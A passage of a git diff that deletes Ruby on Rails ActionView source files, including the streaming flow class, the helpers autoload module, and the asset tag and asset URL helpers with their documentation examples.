-      @content[key] << value
-    end
-    alias_method :append!, :append
-
-  end
-
-  class StreamingFlow < OutputFlow #:nodoc:
-    def initialize(view, fiber)
-      @view    = view
-      @parent  = nil
-      @child   = view.output_buffer
-      @content = view.view_flow.content
-      @fiber   = fiber
-      @root    = Fiber.current.object_id
-    end
-
-    # Try to get an stored content. If the content
-    # is not available and we are inside the layout
-    # fiber, we set that we are waiting for the given
-    # key and yield.
-    def get(key)
-      return super if @content.key?(key)
-
-      if inside_fiber?
-        view = @view
-
-        begin
-          @waiting_for = key
-          view.output_buffer, @parent = @child, view.output_buffer
-          Fiber.yield
-        ensure
-          @waiting_for = nil
-          view.output_buffer, @child = @parent, view.output_buffer
-        end
-      end
-
-      super
-    end
-
-    # Appends the contents for the given key. This is called
-    # by provides and resumes back to the fiber if it is
-    # the key it is waiting for.
-    def append!(key, value)
-      super
-      @fiber.resume if @waiting_for == key
-    end
-
-    private
-
-    def inside_fiber?
-      Fiber.current.object_id != @root
-    end
-  end
-end
\ No newline at end of file
diff --git a/actionpack/lib/action_view/helpers.rb b/actionpack/lib/action_view/helpers.rb
deleted file mode 100644
index 8a78685..0000000
--- a/actionpack/lib/action_view/helpers.rb
+++ /dev/null
@@ -1,58 +0,0 @@
-require 'active_support/benchmarkable'
-
-module ActionView #:nodoc:
-  module Helpers #:nodoc:
-    extend ActiveSupport::Autoload
-
-    autoload :ActiveModelHelper
-    autoload :AssetTagHelper
-    autoload :AssetUrlHelper
-    autoload :AtomFeedHelper
-    autoload :CacheHelper
-    autoload :CaptureHelper
-    autoload :ControllerHelper
-    autoload :CsrfHelper
-    autoload :DateHelper
-    autoload :DebugHelper
-    autoload :FormHelper
-    autoload :FormOptionsHelper
-    autoload :FormTagHelper
-    autoload :JavaScriptHelper, "action_view/helpers/javascript_helper"
-    autoload :NumberHelper
-    autoload :OutputSafetyHelper
-    autoload :RecordTagHelper
-    autoload :RenderingHelper
-    autoload :SanitizeHelper
-    autoload :TagHelper
-    autoload :TextHelper
-    autoload :TranslationHelper
-    autoload :UrlHelper
-
-    extend ActiveSupport::Concern
-
-    include ActiveSupport::Benchmarkable
-    include ActiveModelHelper
-    include AssetTagHelper
-    include AssetUrlHelper
-    include AtomFeedHelper
-    include CacheHelper
-    include CaptureHelper
-    include ControllerHelper
-    include CsrfHelper
-    include DateHelper
-    include DebugHelper
-    include FormHelper
-    include FormOptionsHelper
-    include FormTagHelper
-    include JavaScriptHelper
-    include NumberHelper
-    include OutputSafetyHelper
-    include RecordTagHelper
-    include RenderingHelper
-    include SanitizeHelper
-    include TagHelper
-    include TextHelper
-    include TranslationHelper
-    include UrlHelper
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/active_model_helper.rb b/actionpack/lib/action_view/helpers/active_model_helper.rb
deleted file mode 100644
index 901f433..0000000
--- a/actionpack/lib/action_view/helpers/active_model_helper.rb
+++ /dev/null
@@ -1,49 +0,0 @@
-require 'active_support/core_ext/class/attribute_accessors'
-require 'active_support/core_ext/enumerable'
-
-module ActionView
-  # = Active Model Helpers
-  module Helpers
-    module ActiveModelHelper
-    end
-
-    module ActiveModelInstanceTag
-      def object
-        @active_model_object ||= begin
-          object = super
-          object.respond_to?(:to_model) ? object.to_model : object
-        end
-      end
-
-      def content_tag(*)
-        error_wrapping(super)
-      end
-
-      def tag(type, options, *)
-        tag_generate_errors?(options) ? error_wrapping(super) : super
-      end
-
-      def error_wrapping(html_tag)
-        if object_has_errors?
-          Base.field_error_proc.call(html_tag, self)
-        else
-          html_tag
-        end
-      end
-
-      def error_message
-        object.errors[@method_name]
-      end
-
-      private
-
-      def object_has_errors?
-        object.respond_to?(:errors) && object.errors.respond_to?(:[]) && error_message.present?
-      end
-
-      def tag_generate_errors?(options)
-        options['type'] != 'hidden'
-      end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/asset_tag_helper.rb b/actionpack/lib/action_view/helpers/asset_tag_helper.rb
deleted file mode 100644
index 693b6bd..0000000
--- a/actionpack/lib/action_view/helpers/asset_tag_helper.rb
+++ /dev/null
@@ -1,320 +0,0 @@
-require 'active_support/core_ext/array/extract_options'
-require 'active_support/core_ext/hash/keys'
-require 'action_view/helpers/asset_url_helper'
-require 'action_view/helpers/tag_helper'
-
-module ActionView
-  # = Action View Asset Tag Helpers
-  module Helpers #:nodoc:
-    # This module provides methods for generating HTML that links views to assets such
-    # as images, javascripts, stylesheets, and feeds. These methods do not verify
-    # the assets exist before linking to them:
-    #
-    #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="/assets/rails.png" />
-    #   stylesheet_link_tag("application")
-    #   # => <link href="/assets/application.css?body=1" media="screen" rel="stylesheet" />
-    module AssetTagHelper
-      extend ActiveSupport::Concern
-
-      include AssetUrlHelper
-      include TagHelper
-
-      # Returns an HTML script tag for each of the +sources+ provided.
-      #
-      # Sources may be paths to JavaScript files. Relative paths are assumed to be relative
-      # to <tt>assets/javascripts</tt>, full paths are assumed to be relative to the document
-      # root. Relative paths are idiomatic, use absolute paths only when needed.
-      #
-      # When passing paths, the ".js" extension is optional.
-      #
-      # You can modify the HTML attributes of the script tag by passing a hash as the
-      # last argument.
-      #
-      # When the Asset Pipeline is enabled, you can pass the name of your manifest as
-      # source, and include other JavaScript or CoffeeScript files inside the manifest.
-      #
-      #   javascript_include_tag "xmlhr"
-      #   # => <script src="/assets/xmlhr.js?1284139606"></script>
-      #
-      #   javascript_include_tag "xmlhr.js"
-      #   # => <script src="/assets/xmlhr.js?1284139606"></script>
-      #
-      #   javascript_include_tag "common.javascript", "/elsewhere/cools"
-      #   # => <script src="/assets/common.javascript?1284139606"></script>
-      #   #    <script src="/elsewhere/cools.js?1423139606"></script>
-      #
-      #   javascript_include_tag "http://www.example.com/xmlhr"
-      #   # => <script src="http://www.example.com/xmlhr"></script>
-      #
-      #   javascript_include_tag "http://www.example.com/xmlhr.js"
-      #   # => <script src="http://www.example.com/xmlhr.js"></script>
-      def javascript_include_tag(*sources)
-        options = sources.extract_options!.stringify_keys
-        path_options = options.extract!('protocol').symbolize_keys
-
-        sources.uniq.map { |source|
-          tag_options = {
-            "src" => path_to_javascript(source, path_options)
-          }.merge!(options)
-          content_tag(:script, "", tag_options)
-        }.join("\n").html_safe
-      end
-
-      # Returns a stylesheet link tag for the sources specified as arguments. If
-      # you don't specify an extension, <tt>.css</tt> will be appended automatically.
-      # You can modify the link attributes by passing a hash as the last argument.
-      # For historical reasons, the 'media' attribute will always be present and defaults
-      # to "screen", so you must explicitly set it to "all" for the stylesheet(s) to
-      # apply to all media types.
-      #
-      #   stylesheet_link_tag "style"
-      #   # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
-      #
-      #   stylesheet_link_tag "style.css"
-      #   # => <link href="/assets/style.css" media="screen" rel="stylesheet" />
-      #
-      #   stylesheet_link_tag "http://www.example.com/style.css"
-      #   # => <link href="http://www.example.com/style.css" media="screen" rel="stylesheet" />
-      #
-      #   stylesheet_link_tag "style", media: "all"
-      #   # => <link href="/assets/style.css" media="all" rel="stylesheet" />
-      #
-      #   stylesheet_link_tag "style", media: "print"
-      #   # => <link href="/assets/style.css" media="print" rel="stylesheet" />
-      #
-      #   stylesheet_link_tag "random.styles", "/css/stylish"
-      #   # => <link href="/assets/random.styles" media="screen" rel="stylesheet" />
-      #   #    <link href="/css/stylish.css" media="screen" rel="stylesheet" />
-      def stylesheet_link_tag(*sources)
-        options = sources.extract_options!.stringify_keys
-        path_options = options.extract!('protocol').symbolize_keys
-
-        sources.uniq.map { |source|
-          tag_options = {
-            "rel" => "stylesheet",
-            "media" => "screen",
-            "href" => path_to_stylesheet(source, path_options)
-          }.merge!(options)
-          tag(:link, tag_options)
-        }.join("\n").html_safe
-      end
-
-      # Returns a link tag that browsers and news readers can use to auto-detect
-      # an RSS or Atom feed. The +type+ can either be <tt>:rss</tt> (default) or
-      # <tt>:atom</tt>. Control the link options in url_for format using the
-      # +url_options+. You can modify the LINK tag itself in +tag_options+.
-      #
-      # ==== Options
-      #
-      # * <tt>:rel</tt>  - Specify the relation of this link, defaults to "alternate"
-      # * <tt>:type</tt>  - Override the auto-generated mime type
-      # * <tt>:title</tt>  - Specify the title of the link, defaults to the +type+
-      #
-      # ==== Examples
-      #
-      #   auto_discovery_link_tag
-      #   # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/action" />
-      #   auto_discovery_link_tag(:atom)
-      #   # => <link rel="alternate" type="application/atom+xml" title="ATOM" href="http://www.currenthost.com/controller/action" />
-      #   auto_discovery_link_tag(:rss, {action: "feed"})
-      #   # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/controller/feed" />
-      #   auto_discovery_link_tag(:rss, {action: "feed"}, {title: "My RSS"})
-      #   # => <link rel="alternate" type="application/rss+xml" title="My RSS" href="http://www.currenthost.com/controller/feed" />
-      #   auto_discovery_link_tag(:rss, {controller: "news", action: "feed"})
-      #   # => <link rel="alternate" type="application/rss+xml" title="RSS" href="http://www.currenthost.com/news/feed" />
-      #   auto_discovery_link_tag(:rss, "http://www.example.com/feed.rss", {title: "Example RSS"})
-      #   # => <link rel="alternate" type="application/rss+xml" title="Example RSS" href="http://www.example.com/feed" />
-      def auto_discovery_link_tag(type = :rss, url_options = {}, tag_options = {})
-        if !(type == :rss || type == :atom) && tag_options[:type].blank?
-          message = "You have passed type other than :rss or :atom to auto_discovery_link_tag and haven't supplied " +
-                    "the :type option key. This behavior is deprecated and will be remove in Rails 4.1. You should pass " +
-                    ":type option explicitly if you want to use other types, for example: " +
-                    "auto_discovery_link_tag(:xml, '/feed.xml', :type => 'application/xml')"
-          ActiveSupport::Deprecation.warn message
-        end
-
-        tag(
-          "link",
-          "rel"   => tag_options[:rel] || "alternate",
-          "type"  => tag_options[:type] || Mime::Type.lookup_by_extension(type.to_s).to_s,
-          "title" => tag_options[:title] || type.to_s.upcase,
-          "href"  => url_options.is_a?(Hash) ? url_for(url_options.merge(:only_path => false)) : url_options
-        )
-      end
-
-      # Returns a link loading a favicon file. You may specify a different file
-      # in the first argument. The helper accepts an additional options hash where
-      # you can override "rel" and "type".
-      #
-      # ==== Options
-      #
-      # * <tt>:rel</tt>   - Specify the relation of this link, defaults to 'shortcut icon'
-      # * <tt>:type</tt>  - Override the auto-generated mime type, defaults to 'image/vnd.microsoft.icon'
-      #
-      # ==== Examples
-      #
-      #   favicon_link_tag '/myicon.ico'
-      #   # => <link href="/assets/favicon.ico" rel="shortcut icon" type="image/vnd.microsoft.icon" />
-      #
-      # Mobile Safari looks for a different <link> tag, pointing to an image that
-      # will be used if you add the page to the home screen of an iPod Touch, iPhone, or iPad.
-      # The following call would generate such a tag:
-      #
-      #   favicon_link_tag '/mb-icon.png', rel: 'apple-touch-icon', type: 'image/png'
-      #   # => <link href="/assets/mb-icon.png" rel="apple-touch-icon" type="image/png" />
-      def favicon_link_tag(source='favicon.ico', options={})
-        tag('link', {
-          :rel  => 'shortcut icon',
-          :type => 'image/vnd.microsoft.icon',
-          :href => path_to_image(source)
-        }.merge!(options.symbolize_keys))
-      end
-
-      # Returns an HTML image tag for the +source+. The +source+ can be a full
-      # path or a file.
-      #
-      # ==== Options
-      #
-      # You can add HTML attributes using the +options+. The +options+ supports
-      # three additional keys for convenience and conformance:
-      #
-      # * <tt>:alt</tt>  - If no alt text is given, the file name part of the
-      #   +source+ is used (capitalized and without the extension)
-      # * <tt>:size</tt> - Supplied as "{Width}x{Height}" or "{Number}", so "30x45" becomes
-      #   width="30" and height="45", and "50" becomes width="50" and height="50".
-      #   <tt>:size</tt> will be ignored if the value is not in the correct format.
-      #
-      # ==== Examples
-      #
-      #   image_tag("icon")
-      #   # => <img alt="Icon" src="/assets/icon" />
-      #   image_tag("icon.png")
-      #   # => <img alt="Icon" src="/assets/icon.png" />
-      #   image_tag("icon.png", size: "16x10", alt: "Edit Entry")
-      #   # => <img src="/assets/icon.png" width="16" height="10" alt="Edit Entry" />
-      #   image_tag("/icons/icon.gif", size: "16")
-      #   # => <img src="/icons/icon.gif" width="16" height="16" alt="Icon" />
-      #   image_tag("/icons/icon.gif", height: '32', width: '32')
-      #   # => <img alt="Icon" height="32" src="/icons/icon.gif" width="32" />
-      #   image_tag("/icons/icon.gif", class: "menu_icon")
-      #   # => <img alt="Icon" class="menu_icon" src="/icons/icon.gif" />
-      def image_tag(source, options={})
-        options = options.symbolize_keys
-
-        src = options[:src] = path_to_image(source)
-
-        unless src =~ /^(?:cid|data):/ || src.blank?
-          options[:alt] = options.fetch(:alt){ image_alt(src) }
-        end
-
-        if size = options.delete(:size)
-          options[:width], options[:height] = size.split("x") if size =~ %r{\A\d+x\d+\z}
-          options[:width] = options[:height] = size if size =~ %r{\A\d+\z}
-        end
-
-        tag("img", options)
-      end
-
-      # Returns a string suitable for an html image tag alt attribute.
-      # The +src+ argument is meant to be an image file path.
-      # The method removes the basename of the file path and the digest,
-      # if any. It also removes hyphens and underscores from file names and
-      # replaces them with spaces, returning a space-separated, titleized
-      # string.
-      #
-      # ==== Examples
-      #
-      #   image_tag('rails.png')
-      #   # => <img alt="Rails" src="/assets/rails.png" />
-      #
-      #   image_tag('hyphenated-file-name.png')
-      #   # => <img alt="Hyphenated file name" src="/assets/hyphenated-file-name.png" />
-      #
-      #   image_tag('underscored_file_name.png')
-      #   # => <img alt="Underscored file name" src="/assets/underscored_file_name.png" />
-      def image_alt(src)
-        File.basename(src, '.*').sub(/-[[:xdigit:]]{32}\z/, '').tr('-_', ' ').capitalize
-      end
-
-      # Returns an html video tag for the +sources+. If +sources+ is a string,
-      # a single video tag will be returned. If +sources+ is an array, a video
-      # tag with nested source tags for each source will be returned. The
-      # +sources+ can be full paths or files that exists in your public videos
-      # directory.
-      #
-      # ==== Options
-      # You can add HTML attributes using the +options+. The +options+ supports
-      # two additional keys for convenience and conformance:
-      #
-      # * <tt>:poster</tt> - Set an image (like a screenshot) to be shown
-      #   before the video loads. The path is calculated like the +src+ of +image_tag+.
-      # * <tt>:size</tt> - Supplied as "{Width}x{Height}", so "30x45" becomes
-      #   width="30" and height="45". <tt>:size</tt> will be ignored if the
-      #   value is not in the correct format.
-      #
-      # ==== Examples
-      #
-      #   video_tag("trailer")
-      #   # => <video src="/videos/trailer" />
-      #   video_tag("trailer.ogg")
-      #   # => <video src="/videos/trailer.ogg" />
-      #   video_tag("trailer.ogg", controls: true, autobuffer: true)
-      #   # => <video autobuffer="autobuffer" controls="controls" src="/videos/trailer.ogg" />
-      #   video_tag("trailer.m4v", size: "16x10", poster: "screenshot.png")
-      #   # => <video src="/videos/trailer.m4v" width="16" height="10" poster="/assets/screenshot.png" />
-      #   video_tag("/trailers/hd.avi", size: "16x16")
-      #   # => <video src="/trailers/hd.avi" width="16" height="16" />
-      #   video_tag("/trailers/hd.avi", height: '32', width: '32')
-      #   # => <video height="32" src="/trailers/hd.avi" width="32" />
-      #   video_tag("trailer.ogg", "trailer.flv")
-      #   # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
-      #   video_tag(["trailer.ogg", "trailer.flv"])
-      #   # => <video><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
-      #   video_tag(["trailer.ogg", "trailer.flv"], size: "160x120")
-      #   # => <video height="120" width="160"><source src="/videos/trailer.ogg" /><source src="/videos/trailer.flv" /></video>
-      def video_tag(*sources)
-        multiple_sources_tag('video', sources) do |options|
-          options[:poster] = path_to_image(options[:poster]) if options[:poster]
-
-          if size = options.delete(:size)
-            options[:width], options[:height] = size.split("x") if size =~ %r{^\d+x\d+$}
-          end
-        end
-      end
-
-      # Returns an HTML audio tag for the +source+.
-      # The +source+ can be full path or file that exists in
-      # your public audios directory.
-      #
-      #   audio_tag("sound")
-      #   # => <audio src="/audios/sound" />
-      #   audio_tag("sound.wav")
-      #   # => <audio src="/audios/sound.wav" />
-      #   audio_tag("sound.wav", autoplay: true, controls: true)
-      #   # => <audio autoplay="autoplay" controls="controls" src="/audios/sound.wav" />
-      #   audio_tag("sound.wav", "sound.mid")
-      #   # => <audio><source src="/audios/sound.wav" /><source src="/audios/sound.mid" /></audio>
-      def audio_tag(*sources)
-        multiple_sources_tag('audio', sources)
-      end
-
-      private
-        def multiple_sources_tag(type, sources)
-          options = sources.extract_options!.symbolize_keys
-          sources.flatten!
-
-          yield options if block_given?
-
-          if sources.size > 1
-            content_tag(type, options) do
-              safe_join sources.map { |source| tag("source", :src => send("path_to_#{type}", source)) }
-            end
-          else
-            options[:src] = send("path_to_#{type}", sources.first)
-            content_tag(type, nil, options)
-          end
-        end
-    end
-  end
-end
diff --git a/actionpack/lib/action_view/helpers/asset_url_helper.rb b/actionpack/lib/action_view/helpers/asset_url_helper.rb
deleted file mode 100644
index 0b957ad..0000000
--- a/actionpack/lib/action_view/helpers/asset_url_helper.rb
+++ /dev/null
@@ -1,355 +0,0 @@
-require 'zlib'
-
-module ActionView
-  # = Action View Asset URL Helpers
-  module Helpers
-    # This module provides methods for generating asset paths and
-    # urls.
-    #
-    #   image_path("rails.png")
-    #   # => "/assets/rails.png"
-    #
-    #   image_url("rails.png")
-    #   # => "http://www.example.com/assets/rails.png"
-    #
-    # === Using asset hosts
-    #
-    # By default, Rails links to these assets on the current host in the public
-    # folder, but you can direct Rails to link to assets from a dedicated asset
-    # server by setting <tt>ActionController::Base.asset_host</tt> in the application
-    # configuration, typically in <tt>config/environments/production.rb</tt>.
-    # For example, you'd define <tt>assets.example.com</tt> to be your asset
-    # host this way, inside the <tt>configure</tt> block of your environment-specific
-    # configuration files or <tt>config/application.rb</tt>:
-    #
-    #   config.action_controller.asset_host = "assets.example.com"
-    #
-    # Helpers take that into account:
-    #
-    #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
-    #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets.example.com/assets/application.css" media="screen" rel="stylesheet" />
-    #
-    # Browsers typically open at most two simultaneous connections to a single
-    # host, which means your assets often have to wait for other assets to finish
-    # downloading. You can alleviate this by using a <tt>%d</tt> wildcard in the
-    # +asset_host+. For example, "assets%d.example.com". If that wildcard is
-    # present Rails distributes asset requests among the corresponding four hosts
-    # "assets0.example.com", ..., "assets3.example.com". With this trick browsers
-    # will open eight simultaneous connections rather than two.
-    #
-    #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets0.example.com/assets/rails.png" />
-    #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
-    #
-    # To do this, you can either setup four actual hosts, or you can use wildcard
-    # DNS to CNAME the wildcard to a single asset host. You can read more about
-    # setting up your DNS CNAME records from your ISP.
-    #
-    # Note: This is purely a browser performance optimization and is not meant
-    # for server load balancing. See http://www.die.net/musings/page_load_time/
-    # for background.
-    #
-    # Alternatively, you can exert more control over the asset host by setting
-    # +asset_host+ to a proc like this:
-    #
-    #   ActionController::Base.asset_host = Proc.new { |source|
-    #     "http://assets#{Digest::MD5.hexdigest(source).to_i(16) % 2 + 1}.example.com"
-    #   }
-    #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets1.example.com/assets/rails.png" />
-    #   stylesheet_link_tag("application")
-    #   # => <link href="http://assets2.example.com/assets/application.css" media="screen" rel="stylesheet" />
-    #
-    # The example above generates "http://assets1.example.com" and
-    # "http://assets2.example.com". This option is useful for example if
-    # you need fewer/more than four hosts, custom host names, etc.
-    #
-    # As you see the proc takes a +source+ parameter. That's a string with the
-    # absolute path of the asset, for example "/assets/rails.png".
-    #
-    #    ActionController::Base.asset_host = Proc.new { |source|
-    #      if source.ends_with?('.css')
-    #        "http://stylesheets.example.com"
-    #      else
-    #        "http://assets.example.com"
-    #      end
-    #    }
-    #   image_tag("rails.png")
-    #   # => <img alt="Rails" src="http://assets.example.com/assets/rails.png" />
-    #   stylesheet_link_tag("application")
-    #   # => <link href="http://stylesheets.example.com/assets/application.css" media="screen" rel="stylesheet" />
-    #
-    # Alternatively you may ask for a second parameter +request+. That one is
-    # particularly useful for serving assets from an SSL-protected page. The
-    # example proc below disables asset hosting for HTTPS connections, while
-    # still sending assets for plain HTTP requests from asset hosts. If you don't
-    # have SSL certificates for each of the asset hosts this technique allows you
-    # to avoid warnings in the client about mixed media.
-    #
-    #   config.action_controller.asset_host = Proc.new { |source, request|
-    #     if request.ssl?
-    #       "#{request.protocol}#{request.host_with_port}"
-    #     else
-    #       "#{request.protocol}assets.example.com"
-    #     end
-    #   }
-    #
-    # You can also implement a custom asset host object that responds to +call+
-    # and takes either one or two parameters just like the proc.
-    #
-    #   config.action_controller.asset_host = AssetHostingWithMinimumSsl.new(
-    #     "http://asset%d.example.com", "https://asset1.example.com"
-    #   )
-    #
-    module AssetUrlHelper
-      URI_REGEXP = %r{^[-a-z]+://|^(?:cid|data):|^//}i
-
-      # Computes the path to asset in public directory. If :type
-      # options is set, a file extension will be appended and scoped
-      # to the corresponding public directory.
-      #
-      # All other asset *_path helpers delegate through this method.
-      #
-      #   asset_path "application.js"                     # => /application.js
-      #   asset_path "application", type: :javascript     # => /javascripts/application.js
-      #   asset_path "application", type: :stylesheet     # => /stylesheets/application.css
-      #   asset_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
-      def asset_path(source, options = {})
-        source = source.to_s
-        return "" unless source.present?
-        return source if source =~ URI_REGEXP
-
-        tail, source = source[/([\?#].+)$/], source.sub(/([\?#].+)$/, '')
-
-        if extname = compute_asset_extname(source, options)
-          source = "#{source}#{extname}"
-        end
-
-        if source[0] != ?/
-          source = compute_asset_path(source, options)
-        end
-
-        relative_url_root = defined?(config.relative_url_root) && config.relative_url_root
-        if relative_url_root
-          source = "#{relative_url_root}#{source}" unless source.starts_with?("#{relative_url_root}/")
-        end
-
-        if host = compute_asset_host(source, options)
-          source = "#{host}#{source}"
-        end
-
-        "#{source}#{tail}"
-      end
-      alias_method :path_to_asset, :asset_path # aliased to avoid conflicts with a asset_path named route
-
-      # Computes the full URL to a asset in the public directory. This
-      # will use +asset_path+ internally, so most of their behaviors
-      # will be the same.
-      def asset_url(source, options = {})
-        path_to_asset(source, options.merge(:protocol => :request))
-      end
-      alias_method :url_to_asset, :asset_url # aliased to avoid conflicts with an asset_url named route
-
-      ASSET_EXTENSIONS = {
-        javascript: '.js',
-        stylesheet: '.css'
-      }
-
-      # Compute extname to append to asset path. Returns nil if
-      # nothing should be added.
-      def compute_asset_extname(source, options = {})
-        return if options[:extname] == false
-        extname = options[:extname] || ASSET_EXTENSIONS[options[:type]]
-        extname if extname && File.extname(source) != extname
-      end
-
-      # Maps asset types to public directory.
-      ASSET_PUBLIC_DIRECTORIES = {
-        audio:      '/audios',
-        font:       '/fonts',
-        image:      '/images',
-        javascript: '/javascripts',
-        stylesheet: '/stylesheets',
-        video:      '/videos'
-      }
-
-      # Computes asset path to public directory. Plugins and
-      # extensions can override this method to point to custom assets
-      # or generate digested paths or query strings.
-      def compute_asset_path(source, options = {})
-        dir = ASSET_PUBLIC_DIRECTORIES[options[:type]] || ""
-        File.join(dir, source)
-      end
-
-      # Pick an asset host for this source. Returns +nil+ if no host is set,
-      # the host if no wildcard is set, the host interpolated with the
-      # numbers 0-3 if it contains <tt>%d</tt> (the number is the source hash mod 4),
-      # or the value returned from invoking call on an object responding to call
-      # (proc or otherwise).
-      def compute_asset_host(source = "", options = {})
-        request = self.request if respond_to?(:request)
-        host = config.asset_host if defined? config.asset_host
-        host ||= request.base_url if request && options[:protocol] == :request
-
-        if host.respond_to?(:call)
-          arity = host.respond_to?(:arity) ? host.arity : host.method(:call).arity
-          args = [source]
-          args << request if request && (arity > 1 || arity < 0)
-          host = host.call(*args)
-        elsif host =~ /%d/
-          host = host % (Zlib.crc32(source) % 4)
-        end
-
-        return unless host
-
-        if host =~ URI_REGEXP
-          host
-        else
-          protocol = options[:protocol] || config.default_asset_host_protocol || (request ? :request : :relative)
-          case protocol
-          when :relative
-            "//#{host}"
-          when :request
-            "#{request.protocol}#{host}"
-          else
-            "#{protocol}://#{host}"
-          end
-        end
-      end
-
-      # Computes the path to a javascript asset in the public javascripts directory.
-      # If the +source+ filename has no extension, .js will be appended (except for explicit URIs)
-      # Full paths from the document root will be passed through.
-      # Used internally by javascript_include_tag to build the script path.
-      #
-      #   javascript_path "xmlhr"                              # => /javascripts/xmlhr.js
-      #   javascript_path "dir/xmlhr.js"                       # => /javascripts/dir/xmlhr.js
-      #   javascript_path "/dir/xmlhr"                         # => /dir/xmlhr.js
-      #   javascript_path "http://www.example.com/js/xmlhr"    # => http://www.example.com/js/xmlhr
-      #   javascript_path "http://www.example.com/js/xmlhr.js" # => http://www.example.com/js/xmlhr.js
-      def javascript_path(source, options = {})
-        path_to_asset(source, {type: :javascript}.merge!(options))
-      end
-      alias_method :path_to_javascript, :javascript_path # aliased to avoid conflicts with a javascript_path named route
-
-      # Computes the full URL to a javascript asset in the public javascripts directory.
-      # This will use +javascript_path+ internally, so most of their behaviors will be the same.
-      def javascript_url(source, options = {})
-        url_to_asset(source, {type: :javascript}.merge!(options))
-      end
-      alias_method :url_to_javascript, :javascript_url # aliased to avoid conflicts with a javascript_url named route
-
-      # Computes the path to a stylesheet asset in the public stylesheets directory.
-      # If the +source+ filename has no extension, <tt>.css</tt> will be appended (except for explicit URIs).
-      # Full paths from the document root will be passed through.
-      # Used internally by +stylesheet_link_tag+ to build the stylesheet path.
-      #
-      #   stylesheet_path "style"                                  # => /stylesheets/style.css
-      #   stylesheet_path "dir/style.css"                          # => /stylesheets/dir/style.css
-      #   stylesheet_path "/dir/style.css"                         # => /dir/style.css
-      #   stylesheet_path "http://www.example.com/css/style"       # => http://www.example.com/css/style
-      #   stylesheet_path "http://www.example.com/css/style.css"   # => http://www.example.com/css/style.css
-      def stylesheet_path(source, options = {})
-        path_to_asset(source, {type: :stylesheet}.merge!(options))
-      end
-      alias_method :path_to_stylesheet, :stylesheet_path # aliased to avoid conflicts with a stylesheet_path named route
-
-      # Computes the full URL to a stylesheet asset in the public stylesheets directory.
-      # This will use +stylesheet_path+ internally, so most of their behaviors will be the same.
-      def stylesheet_url(source, options = {})
-        url_to_asset(source, {type: :stylesheet}.merge!(options))
-      end
-      alias_method :url_to_stylesheet, :stylesheet_url # aliased to avoid conflicts with a stylesheet_url named route
-
-      # Computes the path to an image asset.
-      # Full paths from the document root will be passed through.
-      # Used internally by +image_tag+ to build the image path:
-      #
-      #   image_path("edit")                                         # => "/assets/edit"
-      #   image_path("edit.png")                                     # => "/assets/edit.png"
-      #   image_path("icons/edit.png")                               # => "/assets/icons/edit.png"
-      #   image_path("/icons/edit.png")                              # => "/icons/edit.png"
-      #   image_path("http://www.example.com/img/edit.png")          # => "http://www.example.com/img/edit.png"
-      #
-      # If you have images as application resources this method may conflict with their named routes.
-      # The alias +path_to_image+ is provided to avoid that. Rails uses the alias internally, and
-      # plugin authors are encouraged to do so.
-      def image_path(source, options = {})
-        path_to_asset(source, {type: :image}.merge!(options))
-      end
-      alias_method :path_to_image, :image_path # aliased to avoid conflicts with an image_path named route
-
-      # Computes the full URL to an image asset.
-      # This will use +image_path+ internally, so most of their behaviors will be the same.
-      def image_url(source, options = {})
-        url_to_asset(source, {type: :image}.merge!(options))
-      end
-      alias_method :url_to_image, :image_url # aliased to avoid conflicts with an image_url named route
-
-      # Computes the path to a video asset in the public videos directory.
-      # Full paths from the document root will be passed through.
-      # Used internally by +video_tag+ to build the video path.
-      #
-      #   video_path("hd")                                            # => /videos/hd
-      #   video_path("hd.avi")                                        # => /videos/hd.avi
-      #   video_path("trailers/hd.avi")                               # => /videos/trailers/hd.avi
-      #   video_path("/trailers/hd.avi")                              # => /trailers/hd.avi
-      #   video_path("http://www.example.com/vid/hd.avi")             # => http://www.example.com/vid/hd.avi
-      def video_path(source, options = {})
-        path_to_asset(source, {type: :video}.merge!(options))
-      end
-      alias_method :path_to_video, :video_path # aliased to avoid conflicts with a video_path named route
-
-      # Computes the full URL to a video asset in the public videos directory.
-      # This will use +video_path+ internally, so most of their behaviors will be the same.
-      def video_url(source, options = {})
-        url_to_asset(source, {type: :video}.merge!(options))
-      end
-      alias_method :url_to_video, :video_url # aliased to avoid conflicts with an video_url named route
-
-      # Computes the path to an audio asset in the public audios directory.
-      # Full paths from the document root will be passed through.
-      # Used internally by +audio_tag+ to build the audio path.
-      #
-      #   audio_path("horse")                                            # => /audios/horse
-      #   audio_path("horse.wav")                                        # => /audios/horse.wav
-      #   audio_path("sounds/horse.wav")                                 # => /audios/sounds/horse.wav
-      #   audio_path("/sounds/horse.wav")                                # => /sounds/horse.wav
-      #   audio_path("http://www.example.com/sounds/horse.wav")          # => http://www.example.com/sounds/horse.wav
-      def audio_path(source, options = {})
-        path_to_asset(source, {type: :audio}.merge!(options))
-      end
-      alias_method :path_to_audio, :audio_path # aliased to avoid conflicts with an audio_path named route
-
-      # Computes the full URL to an audio asset in the public audios directory.
-      # This will use +audio_path+ internally, so most of their behaviors will be the same.
-      def audio_url(source, options = {})
-        url_to_asset(source, {type: :audio}.merge!(options))
-      end
-      alias_method :url_to_audio, :audio_url # aliased to avoid conflicts with an audio_url named route
-
-      # Computes the path to a font asset.
-      # Full paths from the document root will be passed through.
-      #
-      #   font_path("font")                                           # => /assets/font
-      #   font_path("font.ttf")                                       # => /assets/font.ttf
-      #   font_path("dir/font.ttf")                                   # => /assets/dir/font.ttf
-      #   font_path("/dir/font.ttf")                                  # => /dir/font.ttf
-      #   font_path("http://www.example.com/dir/font.ttf")            # => http://www.example.com/dir/font.ttf
-      def font_path(source, options = {})
-        path_to_asset(source, {type: :font}.merge!(options))
-      end
